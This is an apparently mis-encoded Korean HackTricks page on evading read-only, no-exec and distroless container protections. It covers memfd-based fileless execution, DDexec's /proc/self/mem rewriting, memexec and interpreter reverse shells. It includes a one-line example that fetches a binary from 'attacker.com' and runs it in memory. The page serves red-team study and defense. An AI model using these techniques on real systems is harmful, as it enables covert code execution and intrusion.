FS ๋ณดํ˜ธ ์šฐํšŒ: ์ฝ๊ธฐ ์ „์šฉ / ์‹คํ–‰ ๊ธˆ์ง€ / Distroless

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋น„๋””์˜ค

๋‹ค์Œ ๋น„๋””์˜ค์—์„œ๋Š” ์ด ํŽ˜์ด์ง€์— ์–ธ๊ธ‰๋œ ๊ธฐ์ˆ ์„ ๋” ๊นŠ์ด ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค:

์ฝ๊ธฐ ์ „์šฉ / ์‹คํ–‰ ๊ธˆ์ง€ ์‹œ๋‚˜๋ฆฌ์˜ค

๋ฆฌ๋ˆ…์Šค ๋จธ์‹ ์ด ์ฝ๊ธฐ ์ „์šฉ (ro) ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ณดํ˜ธ๋กœ ๋งˆ์šดํŠธ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ ์  ๋” ๋งŽ์•„์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ์ปจํ…Œ์ด๋„ˆ์—์„œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ์ด๋Š” **readOnlyRootFilesystem: true**๋ฅผ securitycontext์— ์„ค์ •ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ro ํŒŒ์ผ ์‹œ์Šคํ…œ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

๊ทธ๋Ÿฌ๋‚˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์ด ro๋กœ ๋งˆ์šดํŠธ๋˜๋”๋ผ๋„ **/dev/shm**๋Š” ์—ฌ์ „ํžˆ ์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ ๋””์Šคํฌ์— ์•„๋ฌด๊ฒƒ๋„ ์“ธ ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ์€ ์ž˜๋ชป๋œ ์ •๋ณด์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ํด๋”๋Š” ์‹คํ–‰ ๊ธˆ์ง€ ๋ณดํ˜ธ๋กœ ๋งˆ์šดํŠธ๋˜๋ฏ€๋กœ ์—ฌ๊ธฐ์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉด ์‹คํ–‰ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

Warning

๋ ˆ๋“œ ํŒ€ ๊ด€์ ์—์„œ ๋ณผ ๋•Œ, ์ด๋Š” ์‹œ์Šคํ…œ์— ์ด๋ฏธ ์—†๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ(์˜ˆ: ๋ฐฑ๋„์–ด ๋˜๋Š” kubectl๊ณผ ๊ฐ™์€ ์—ด๊ฑฐ๊ธฐ)๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ณต์žกํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

๊ฐ€์žฅ ์‰ฌ์šด ์šฐํšŒ: ์Šคํฌ๋ฆฝํŠธ

๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์–ธ๊ธ‰ํ–ˆ์ง€๋งŒ, ๊ธฐ๊ณ„ ๋‚ด๋ถ€์— ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ ์žˆ๋Š” ํ•œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋“  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, sh๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์…ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ python์ด ์„ค์น˜๋œ ๊ฒฝ์šฐ ํŒŒ์ด์ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ด๊ฒƒ๋งŒ์œผ๋กœ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐฑ๋„์–ด๋‚˜ ์‹คํ–‰ํ•ด์•ผ ํ•  ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋„๊ตฌ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋ฉ”๋ชจ๋ฆฌ ์šฐํšŒ

๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ์ง€๋งŒ ํŒŒ์ผ ์‹œ์Šคํ…œ์ด ์ด๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ๊ทธ๊ณณ์—์„œ๋Š” ๋ณดํ˜ธ๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

FD + exec ์‹œ์Šคํ…œ ํ˜ธ์ถœ ์šฐํšŒ

๊ธฐ๊ณ„ ๋‚ด๋ถ€์— Python, Perl ๋˜๋Š” Ruby์™€ ๊ฐ™์€ ๊ฐ•๋ ฅํ•œ ์Šคํฌ๋ฆฝํŠธ ์—”์ง„์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹คํ–‰ํ•  ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ , ๋ฉ”๋ชจ๋ฆฌ ํŒŒ์ผ ์„ค๋ช…์ž(create_memfd ์‹œ์Šคํ…œ ํ˜ธ์ถœ)์— ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ด๋Ÿฌํ•œ ๋ณดํ˜ธ์— ์˜ํ•ด ๋ณดํ˜ธ๋˜์ง€ ์•Š์œผ๋ฉฐ, ๊ทธ๋Ÿฐ ๋‹ค์Œ exec ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜์—ฌ ์‹คํ–‰ํ•  ํŒŒ์ผ๋กœ fd๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.

์ด๋ฅผ ์œ„ํ•ด fileless-elf-exec ํ”„๋กœ์ ํŠธ๋ฅผ ์‰ฝ๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ „๋‹ฌํ•˜๋ฉด ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์••์ถ•๋˜๊ณ  b64 ์ธ์ฝ”๋”ฉ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ง€์ •๋œ ์–ธ์–ด๋กœ ์ƒ์„ฑํ•˜๋ฉฐ, fd๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด create_memfd ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๊ณ  ์ด๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด exec ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๋Š” ์ง€์นจ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

Warning

์ด๋Š” PHP๋‚˜ Node์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด์—์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์ด๋“ค ์–ธ์–ด๋Š” ์Šคํฌ๋ฆฝํŠธ์—์„œ ์›์‹œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๋Š” ๊ธฐ๋ณธ ๋ฐฉ๋ฒ•์ด ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ €์žฅํ•  ๋ฉ”๋ชจ๋ฆฌ fd๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด create_memfd๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, /dev/shm์— ์žˆ๋Š” ํŒŒ์ผ๋กœ ์ผ๋ฐ˜ fd๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์‹คํ–‰ ๊ธˆ์ง€ ๋ณดํ˜ธ๊ฐ€ ์ ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

DDexec / EverythingExec

DDexec / EverythingExec ๊ธฐ์ˆ ์€ ์ž์‹ ์˜ ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ **/proc/self/mem**์„ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ํ”„๋กœ์„ธ์Šค์—์„œ ์‹คํ–‰๋˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋ฅผ ์ œ์–ดํ•จ์œผ๋กœ์จ, ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ํ”„๋กœ์„ธ์Šค๋ฅผ โ€œ๋ณ€ํ˜•โ€œํ•˜์—ฌ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

DDexec / EverythingExec๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž์‹ ์˜ ์…ธ์ฝ”๋“œ ๋˜๋Š” ์–ด๋–ค ๋ฐ”์ด๋„ˆ๋ฆฌ๋“  ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

๋” ๋งŽ์€ ์ •๋ณด๋Š” ์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•ด Github๋ฅผ ํ™•์ธํ•˜๊ฑฐ๋‚˜:

DDexec / EverythingExec

MemExec

Memexec๋Š” DDexec์˜ ์ž์—ฐ์Šค๋Ÿฌ์šด ๋‹ค์Œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ์„ ๋•Œ๋งˆ๋‹ค DDexec๋ฅผ ๋‹ค์‹œ ์‹œ์ž‘ํ•  ํ•„์š” ์—†์ด, DDexec ๊ธฐ์ˆ ์„ ํ†ตํ•ด memexec ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์ด ๋ฐ๋ชฌ๊ณผ ํ†ต์‹ ํ•˜์—ฌ ์ƒˆ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

memexec๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PHP ๋ฆฌ๋ฒ„์Šค ์…ธ์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์˜ˆ์‹œ๋Š” https://github.com/arget13/memexec/blob/main/a.php์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Memdlopen

DDexec์™€ ์œ ์‚ฌํ•œ ๋ชฉ์ ์„ ๊ฐ€์ง„ memdlopen ๊ธฐ์ˆ ์€ ๋ฉ”๋ชจ๋ฆฌ์— ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋” ์‰ฌ์šด ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์˜์กด์„ฑ์ด ์žˆ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Distroless Bypass

Distroless๋ž€ ๋ฌด์—‡์ธ๊ฐ€

Distroless ์ปจํ…Œ์ด๋„ˆ๋Š” ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‚˜ ์„œ๋น„์Šค ์‹คํ–‰์— ํ•„์š”ํ•œ ์ตœ์†Œํ•œ์˜ ๊ตฌ์„ฑ ์š”์†Œ๋งŒ ํฌํ•จํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ํŒจํ‚ค์ง€ ๊ด€๋ฆฌ์ž, ์…ธ ๋˜๋Š” ์‹œ์Šคํ…œ ์œ ํ‹ธ๋ฆฌํ‹ฐ์™€ ๊ฐ™์€ ๋” ํฐ ๊ตฌ์„ฑ ์š”์†Œ๋Š” ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค.

Distroless ์ปจํ…Œ์ด๋„ˆ์˜ ๋ชฉํ‘œ๋Š” ๋ถˆํ•„์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ์˜ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์ค„์ด๊ณ  ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์˜ ์ˆ˜๋ฅผ ์ตœ์†Œํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋ฆฌ๋ฒ„์Šค ์…ธ

Distroless ์ปจํ…Œ์ด๋„ˆ์—์„œ๋Š” **์ •์ƒ์ ์ธ ์…ธ์„ ์–ป๊ธฐ ์œ„ํ•ด sh ๋˜๋Š” bash**๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ls, whoami, id์™€ ๊ฐ™์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋„ ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹คโ€ฆ ์‹œ์Šคํ…œ์—์„œ ์ผ๋ฐ˜์ ์œผ๋กœ ์‹คํ–‰ํ•˜๋Š” ๋ชจ๋“  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Warning

๋”ฐ๋ผ์„œ, ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป๊ฑฐ๋‚˜ ์‹œ์Šคํ…œ์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์†์ƒ๋œ ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ์˜ˆ๋ฅผ ๋“ค์–ด flask ์›น์„ ์‹คํ–‰ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ํŒŒ์ด์ฌ์ด ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ Python ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋…ธ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด Node ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋Œ€๋ถ€๋ถ„์˜ ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด์™€ ๋งˆ์ฐฌ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค.

Tip

์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์–ธ์–ด์˜ ๊ธฐ๋Šฅ์„ ํ™œ์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฝ๊ธฐ ์ „์šฉ/์‹คํ–‰ ๊ธˆ์ง€ ๋ณดํ˜ธ๊ฐ€ ์—†๋‹ค๋ฉด, ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์•…์šฉํ•˜์—ฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ์ปจํ…Œ์ด๋„ˆ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ๋ณดํ˜ธ๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ์กด์žฌํ•˜์ง€๋งŒ, ์ด์ „ ๋ฉ”๋ชจ๋ฆฌ ์‹คํ–‰ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RCE ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด์˜ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป๊ณ  ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์˜ˆ์‹œ๋Š” https://github.com/carlospolop/DistrolessRCE์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ